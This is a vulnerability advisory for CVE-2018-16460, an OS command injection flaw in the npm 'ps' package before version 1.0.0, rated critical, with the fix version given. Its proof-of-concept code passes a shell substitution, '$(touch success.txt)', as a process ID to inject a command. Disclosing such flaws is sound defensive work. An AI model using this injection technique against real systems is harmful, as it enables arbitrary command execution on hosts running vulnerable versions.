ps Enables OS Command Injection

ps Updated 02 Oct 2025

Summary

17/09/2018

Disclosed on

CVE-2018-16460

CVE

Yes i

Fix available

Critical

Severity

9.8

CVSS Score

CVE-2018-16460: ps Enables OS Command Injection. Affects ps versions < 1.0.0. Fixed in 1.0.0. How to fix ↓

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Versions of ps before 1.0.0 are vulnerable to command injection.

Proof of concept:

var ps = require('ps');

ps.lookup({ pid: "$(touch success.txt)" }, function(err, proc) { // this method is vulnerable to command injection
    if (err) {throw err;}
    if (proc) {
        console.log(proc);  // Process name, something like "node" or "bash"
    } else {
        console.log('No such process');
    }
});

// Result: The file success.txt will exist on the filesystem if the touch command was executed